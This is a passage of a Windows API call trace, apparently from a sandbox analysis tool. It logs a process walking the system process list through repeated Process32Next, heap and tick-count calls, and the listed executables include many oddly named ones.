[0192.714] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.715] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.715] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0192.716] GetTickCount () returned 0x188065e [0192.716] GetCurrentThreadId () returned 0xa0c [0192.716] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.717] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.717] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.718] GetTickCount () returned 0x188065e [0192.718] GetCurrentThreadId () returned 0xa0c [0192.718] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.718] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.719] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.719] GetTickCount () returned 0x188065e [0192.720] GetCurrentThreadId () returned 0xa0c [0192.720] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.720] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.720] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.721] GetTickCount () returned 0x188065e [0192.721] GetCurrentThreadId () returned 0xa0c [0192.721] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.721] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.721] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.722] GetTickCount () returned 0x188065e [0192.722] GetCurrentThreadId () returned 0xa0c [0192.722] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.723] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.723] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.724] GetTickCount () returned 0x188065e [0192.724] GetCurrentThreadId () returned 0xa0c [0192.724] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.724] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.724] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.725] GetTickCount () returned 0x188065e [0192.725] GetCurrentThreadId () returned 0xa0c [0192.725] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.726] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.726] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.727] GetTickCount () returned 0x188065e [0192.727] GetCurrentThreadId () returned 0xa0c [0192.727] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.727] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.727] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0192.728] GetTickCount () returned 0x188065e [0192.728] GetCurrentThreadId () returned 0xa0c [0192.728] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.729] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.729] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x474, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0192.730] GetTickCount () returned 0x188066d [0192.730] GetCurrentThreadId () returned 0xa0c [0192.730] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.731] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.731] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.732] GetTickCount () returned 0x188066d [0192.732] GetCurrentThreadId () returned 0xa0c [0192.732] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.733] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.733] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0192.734] GetTickCount () returned 0x188066d [0192.734] GetCurrentThreadId () returned 0xa0c [0192.734] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.734] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.734] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0192.736] GetTickCount () returned 0x188066d [0192.736] GetCurrentThreadId () returned 0xa0c [0192.736] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.736] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.736] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0192.737] GetTickCount () returned 0x188066d [0192.737] GetCurrentThreadId () returned 0xa0c [0192.737] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.737] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.737] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x758, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0192.739] GetTickCount () returned 0x188066d [0192.739] GetCurrentThreadId () returned 0xa0c [0192.739] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.739] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.739] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0192.740] GetTickCount () returned 0x188066d [0192.740] GetCurrentThreadId () returned 0xa0c [0192.740] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.741] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.741] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0192.742] GetTickCount () returned 0x188066d [0192.742] GetCurrentThreadId () returned 0xa0c [0192.742] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.742] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.742] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0192.743] GetTickCount () returned 0x188066d [0192.743] GetCurrentThreadId () returned 0xa0c [0192.743] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.744] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.744] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.745] GetTickCount () returned 0x188066d [0192.745] GetCurrentThreadId () returned 0xa0c [0192.745] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.746] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.746] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0192.747] GetTickCount () returned 0x188067d [0192.747] GetCurrentThreadId () returned 0xa0c [0192.747] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.748] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.748] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x64, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0192.749] GetTickCount () returned 0x188067d [0192.749] GetCurrentThreadId () returned 0xa0c [0192.750] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.750] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.750] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0192.752] GetTickCount () returned 0x188067d [0192.752] GetCurrentThreadId () returned 0xa0c [0192.752] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.752] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.752] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walk-room-do.exe")) returned 1 [0192.754] GetTickCount () returned 0x188067d [0192.754] GetCurrentThreadId () returned 0xa0c [0192.754] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.755] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.755] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="suffer.exe")) returned 1 [0192.756] GetTickCount () returned 0x188067d [0192.756] GetCurrentThreadId () returned 0xa0c [0192.756] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.757] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.757] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="organization-him.exe")) returned 1 [0192.758] GetTickCount () returned 0x188067d [0192.758] GetCurrentThreadId () returned 0xa0c [0192.758] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.758] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.758] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glass parent.exe")) returned 1 [0192.759] GetTickCount () returned 0x188067d [0192.759] GetCurrentThreadId () returned 0xa0c [0192.759] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.760] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.760] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="drive_half_hotel.exe")) returned 1 [0192.761] GetTickCount () returned 0x188068d [0192.761] GetCurrentThreadId () returned 0xa0c [0192.761] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.762] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.762] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wait_moment.exe")) returned 1 [0192.763] GetTickCount () returned 0x188068d [0192.763] GetCurrentThreadId () returned 0xa0c [0192.763] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.763] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.763] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="daughter.exe")) returned 1 [0192.765] GetTickCount () returned 0x188068d [0192.765] GetCurrentThreadId () returned 0xa0c [0192.765] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.765] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.766] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lead.exe")) returned 1 [0192.767] GetTickCount () returned 0x188068d [0192.767] GetCurrentThreadId () returned 0xa0c [0192.767] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.767] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.767] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine_guess.exe")) returned 1 [0192.768] GetTickCount () returned 0x188068d [0192.768] GetCurrentThreadId () returned 0xa0c [0192.768] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.769] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.769] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="let.exe")) returned 1 [0192.770] GetTickCount () returned 0x188068d [0192.770] GetCurrentThreadId () returned 0xa0c [0192.770] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.770] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.770] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="home-them-cover.exe")) returned 1 [0192.772] GetTickCount () returned 0x188068d [0192.772] GetCurrentThreadId () returned 0xa0c [0192.772] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.773] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.773] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="if small.exe")) returned 1 [0192.775] GetTickCount () returned 0x188068d [0192.775] GetCurrentThreadId () returned 0xa0c [0192.775] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.775] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.775] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="some.exe")) returned 1 [0192.776] GetTickCount () returned 0x188069c [0192.777] GetCurrentThreadId () returned 0xa0c [0192.777] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.777] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.777] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anyone-response-paper.exe")) returned 1 [0192.778] GetTickCount () returned 0x188069c [0192.778] GetCurrentThreadId () returned 0xa0c [0192.778] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.779] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.779] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflect-energy-whether.exe")) returned 1 [0192.780] GetTickCount () returned 0x188069c [0192.780] GetCurrentThreadId () returned 0xa0c [0192.780] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.780] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.780] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="move_film_thought.exe")) returned 1 [0192.781] GetTickCount () returned 0x188069c [0192.781] GetCurrentThreadId () returned 0xa0c [0192.781] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.782] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.782] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="protect.exe")) returned 1 [0192.782] GetTickCount () returned 0x188069c [0192.782] GetCurrentThreadId () returned 0xa0c [0192.782] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.783] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.783] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="as_report_listen.exe")) returned 1 [0192.784] GetTickCount () returned 0x188069c [0192.784] GetCurrentThreadId () returned 0xa0c [0192.784] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.784] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.784] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="head teacher.exe")) returned 1 [0192.785] GetTickCount () returned 0x188069c [0192.785] GetCurrentThreadId () returned 0xa0c [0192.785] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.785] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.785] Process32Next (in: hSnapshot=0x20c, lppe=0x2a7a0f0 | out: lppe=0x2a7a0f0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x77c, pcPriClassBase=8, dwFlags=0x0, szExeFile="order life.exe")) returned 1 [0192.787] GetTickCount () returned 0x188069c [0192.787] GetCurrentThreadId () returned 0xa0c [0192.787] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.787] HeapFree (in: 